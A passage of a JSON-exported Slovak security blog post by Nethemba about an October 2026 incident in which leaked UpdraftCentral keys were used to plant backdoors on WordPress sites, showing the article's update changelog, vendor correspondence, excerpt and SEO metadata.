Pou\u017e\u00edvate\u013eov pr\u00e9miovej verzie vyz\u00fdva skontrolova\u0165 weby, aj ke\u010f UpdraftCentral nikdy nepou\u017e\u00edvali. R\u00fdchlos\u0165 \u00fatoku a spo\u010diatku chybn\u00e9 backdoory pod\u013ea v\u00fdrobcu nazna\u010duj\u00fa, \u017ee \u00fato\u010dn\u00edk pou\u017eil AI. Na na\u0161u posledn\u00fa spr\u00e1vu v\u00fdrobca odp\u00edsal, \u017ee n\u00e1vod u\u017e upravil a \u017ee v\u0161etk\u00fdm z\u00e1kazn\u00edkom odpor\u00fa\u010da zmeni\u0165 heslo k \u00fa\u010dtu teamupdraft.com. V krokoch n\u00e1vodu v\u0161ak k 22. 10. st\u00e1le st\u00e1lo 1.26.12 \/ 2.26.12 a k \u010dasovej hranici revok\u00e1cie sa nevyjadril. Obe veci v\u00fdrobca do 23. 10. opravil (pozri ni\u017e\u0161ie).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"22\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku sme so s\u00fahlasom \u010fal\u0161ieho spr\u00e1vcu poslali vzorku <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code> a z\u00e1znam o pokuse \u00fato\u010dn\u00edka ju 20. 10. pou\u017ei\u0165.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"23\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft opravil <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">vyhl\u00e1senie<\/a> (posledn\u00e1 aktualiz\u00e1cia 23. 10. 05:26 BST). V krokoch n\u00e1vodu u\u017e uv\u00e1dza 1.26.13 \/ 2.26.13 a ako hranicu automaticky zru\u0161en\u00fdch spojen\u00ed 18. 10. 13:07 BST (14:07 SEL\u010c), \u010do zodpoved\u00e1 k\u00f3du. V\u00fdrobca n\u00e1m opravu ozn\u00e1mil a po\u017eiadal n\u00e1s o \u00fapravu \u010dl\u00e1nku.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<p>Ak ste podobn\u00fd \u00fatok zaznamenali aj vy, nap\u00ed\u0161te n\u00e1m na info@nethemba.com. Vzorky a \u010fal\u0161ie technick\u00e9 podklady poskytneme v\u00fdrobcovi aj bezpe\u010dnostn\u00fdm t\u00edmom na po\u017eiadanie.<\/p>\n<h2 id=\"aktualiz\u00e1cie\">Aktualiz\u00e1cie<\/h2>\n<ul>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: prv\u00e9 zverejnenie.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: upozornenie, \u017ee log UpdraftCentral uchov\u00e1va len 50 udalost\u00ed, a kontrola access logu; odpor\u00fa\u010danie nevytv\u00e1ra\u0165 spojenie znova; postup pre plne kompromitovan\u00e9 weby; spresnenie dotknut\u00fdch verzi\u00ed pri CVE-2026-10795.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doplnen\u00e9 vyjadrenie v\u00fdrobcu, ktor\u00fd potvrdil \u00fanik k\u013e\u00fa\u010dov z teamupdraft.com; aktualizovan\u00e9 odpor\u00fa\u010dania, oprava a rozsah.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026 (ve\u010der): druh\u00fd variant so skryt\u00fdm administr\u00e1torom, \u010fal\u0161ie vzorky prv\u00e9ho variantu, druh\u00e1 IP adresa, odkaz na anal\u00fdzu Patchstacku, kontroln\u00fd skript vo verzii 2.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doplnen\u00e1 priama odpove\u010f v\u00fdrobcu na na\u0161e hl\u00e1senie.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: potvrden\u00fd funk\u010dn\u00fd variant v obehu, \u010fal\u0161ie vzorky oboch variantov, kontrola sp\u00fa\u0161\u0165a\u010dov v access logu, ochrana cez nezapisovate\u013en\u00fd prie\u010dinok pluginov, prieskum z 23. 9., kontroln\u00fd skript vo verzii 3.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: rozbor vzorky funk\u010dn\u00e9ho variantu (skr\u00fdvanie \u00fa\u010dtu nefunguje), minim\u00e1lny tret\u00ed variant, \u010fal\u0161ia vzorka prv\u00e9ho variantu, upozornenie na opakovan\u00e9 nahratie backdooru, kontroln\u00fd skript vo verzii 4.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u00fato\u010dn\u00edk sa vracia (v\u00fdmena backdooru cez <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code>, pokusy o pr\u00edkazy na na\u0161e weby a\u017e do ve\u010dera), v\u00fdber webov pod\u013ea zoznamu v UpdraftCentral, kontroln\u00fd skript vo verzii 5.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: n\u00fadzov\u00e1 verzia v\u00fdrobcu (1.26.12 k\u013e\u00fa\u010de nezma\u017ee, funguje a\u017e 1.26.13, a to nie pre k\u013e\u00fa\u010de z 18. 10. medzi 14:07 a 23:00 SEL\u010c), doplnen\u00e9 odpovede v\u00fdrobcu.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: k\u013e\u00fa\u010d UpdraftCentral m\u00f4\u017ee vznikn\u00fa\u0165 bez vedomia spr\u00e1vcu (predvolene za\u0161krtnut\u00e9 pol\u00ed\u010dko v pr\u00e9miovej verzii), \u010fal\u0161ia vzorka prv\u00e9ho variantu, pozn\u00e1mka k IP adres\u00e1m za proxy, kontroln\u00fd skript vo verzii 6.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: kontroln\u00fd skript vo verzii 7 rozli\u0161uje ch\u00fdbaj\u00faci log UpdraftCentral.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: skryt\u00e1 obmena minim\u00e1lneho variantu, \u010fal\u0161ie vzorky, viac backdoorov na jednom webe, kontroln\u00fd skript vo verzii 8.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u010fal\u0161ia vzorka prv\u00e9ho variantu (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">nav-hub<\/code>).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: desa\u0165 \u010fal\u0161\u00edch vzoriek od troch spr\u00e1vcov, funk\u010dn\u00e9 backdoory akt\u00edvne pred p\u00e1dom webu, v\u00fdznam riadkov \u201eSignature verification failed\u201c, opakuj\u00face sa men\u00e1 autorov.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: odpor\u00fa\u010danie zmaza\u0165 aj k\u013e\u00fa\u010de UpdraftPlus Migrator, kontroln\u00fd skript vo verzii 9.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u00fato\u010dn\u00edk sk\u00fa\u0161a sp\u00fa\u0161\u0165a\u010de odstr\u00e1nen\u00fdch backdoorov (nov\u00e9 IP adresy), oprava: predvolene za\u0161krtnut\u00e9 pol\u00ed\u010dko m\u00e1 aj bezplatn\u00e1 verzia, v\u00fdznam stavov\u00fdch k\u00f3dov v access logu, odkaz na upozornenie Wordfence a jeho pravidlo firewallu, \u010fal\u0161ie n\u00e1zvy.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: spresnenie, kedy k\u013e\u00fa\u010d UpdraftCentral vznik\u00e1.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doplnen\u00e9 vyjadrenie v\u00fdrobcu z 20. 10., na\u0161e weby dostali 2.26.13, upozornenie na heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1ze.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u00fato\u010dn\u00edk posiela pr\u00edkazy UpdraftCentral aj po vydan\u00ed 1.26.13.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u010fal\u0161ie pokusy o pou\u017eitie backdoorov (nov\u00e9 rozsahy IP adries), mo\u017eno s\u00favisiace zis\u0165ovanie verzie UpdraftPlus.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"22\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: nov\u00e9 vyjadrenia v\u00fdrobcu z 21. 10. (vyn\u00faten\u00e1 aktualiz\u00e1cia cez WordPress.org, extern\u00e1 firma, pol\u00edcia).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"22\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1ze a ako ho odstr\u00e1ni\u0165, \u010fal\u0161\u00ed rozsah IP adries pri pokusoch o pou\u017eitie backdoorov, kontroln\u00fd skript vo verzii 10.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"22\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u010fal\u0161ia vzorka prv\u00e9ho variantu (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code>).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"23\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doplnen\u00e9, ako \u010dasto zost\u00e1va heslo k \u00fa\u010dtu teamupdraft.com v datab\u00e1ze.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"23\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: test \u010ditate\u013ea a vyjadrenie v\u00fdrobcu k heslu ulo\u017een\u00e9mu v datab\u00e1ze.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"26\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: opraven\u00e9 vyhl\u00e1senie v\u00fdrobcu z 23. 10. (verzie 1.26.13 \/ 2.26.13 v n\u00e1vode, hranica 14:07 SEL\u010c); upraven\u00e9 dotknut\u00e9 verzie, oprava a komunik\u00e1cia s v\u00fdrobcom.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>V noci na 19. okt\u00f3bra 2026 \u00fato\u010dn\u00edk zneu\u017eil slu\u017ebu UpdraftCentral, ktor\u00e1 je s\u00fa\u010das\u0165ou z\u00e1lohovacieho pluginu UpdraftPlus s viac ako 4 mili\u00f3nmi in\u0161tal\u00e1ci\u00ed, a na dva z na\u0161ich troch webov nahral backdoor. Na\u0161e weby boli plne aktualizovan\u00e9 a chyba nebola na na\u0161ej strane: \u00fato\u010dn\u00edk podpisoval pr\u00edkazy platn\u00fdmi k\u013e\u00fa\u010dmi, ktor\u00e9 generuje a uchov\u00e1va slu\u017eba UpdraftCentral Cloud. Zverej\u0148ujeme rozbor backdooru, indik\u00e1tory kompromit\u00e1cie a postup, ako si skontrolova\u0165 vlastn\u00e9 weby. V\u00fdrobca nesk\u00f4r potvrdil, \u017ee \u00fato\u010dn\u00edk z\u00edskal z\u00e1kazn\u00edcku datab\u00e1zu teamupdraft.com vr\u00e1tane k\u013e\u00fa\u010dov UpdraftCentral.<\/p>\n","protected":false},"author":2,"featured_media":9600,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-9625","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized-sk"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba<\/title>\n<meta name=\"description\" content=\"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:locale\" content=\"sk_SK\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba\" \/>\n<meta property=\"og:description\" content=\"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-19T05:44:01+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-26T03:35:56+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"1140\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Autor\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Predpokladan\u00fd \u010das \u010d\u00edtania\" \/>\n\t<meta name=\"twitter:data2\" content=\"59 min\u00fat\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"author\":{\"name\":\"Pavol Lupt\u00e1k\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby\",\"datePublished\":\"2026-10-19T05:44:01+00:00\",\"dateModified\":\"2026-10-26T03:35:56+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"wordCount\":8477,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-sk.png\",\"articleSection\":[\"Uncategorized @sk\"],\"inLanguage\":\"sk-SK\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"name\":\"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-sk.png\",\"datePublished\":\"2026-10-19T05:44:01+00:00\",\"dateModified\":\"2026-10-26T03:35:56+00:00\",\"description\":\"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\"},\"inLanguage\":\"sk-SK\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"sk-SK\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-sk.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-sk.png\",\"width\":1200,\"height\":1140},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/nethemba.com\\\/domov\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/nethemba.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"sk-SK\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\",\"name\":\"Nethemba\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"sk-SK\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"width\":66,\"height\":70,\"caption\":\"Nethemba\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/nethemba\",\"https:\\\/\\\/x.com\\\/nethemba\",\"https:\\\/\\\/sk.linkedin.com\\\/company\\\/nethemba\",\"https:\\\/\\\/www.youtube.com\\\/@sabretoothatNethemba\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"sk-SK\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\\\/\\\/www.nethemba.com\\\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba","description":"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_locale":"sk_SK","og_type":"article","og_title":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba","og_description":"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.","og_url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2026-10-19T05:44:01+00:00","article_modified_time":"2026-10-26T03:35:56+00:00","og_image":[{"width":1200,"height":1140,"url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","type":"image\/png"}],"author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Autor":"Pavol Lupt\u00e1k","Predpokladan\u00fd \u010das \u010d\u00edtania":"59 min\u00fat"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby","datePublished":"2026-10-19T05:44:01+00:00","dateModified":"2026-10-26T03:35:56+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"wordCount":8477,"commentCount":0,"publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","articleSection":["Uncategorized @sk"],"inLanguage":"sk-SK","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","name":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","datePublished":"2026-10-19T05:44:01+00:00","dateModified":"2026-10-26T03:35:56+00:00","description":"\u00dato\u010dn\u00edk zneu\u017eil k\u013e\u00fa\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. in\u0161tal\u00e1ci\u00ed) a nahral backdoor na weby s WordPressom. Rozbor, IOC a postup kontroly.","breadcrumb":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb"},"inLanguage":"sk-SK","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"sk-SK","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-sk.png","width":1200,"height":1140},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/domov\/"},{"@type":"L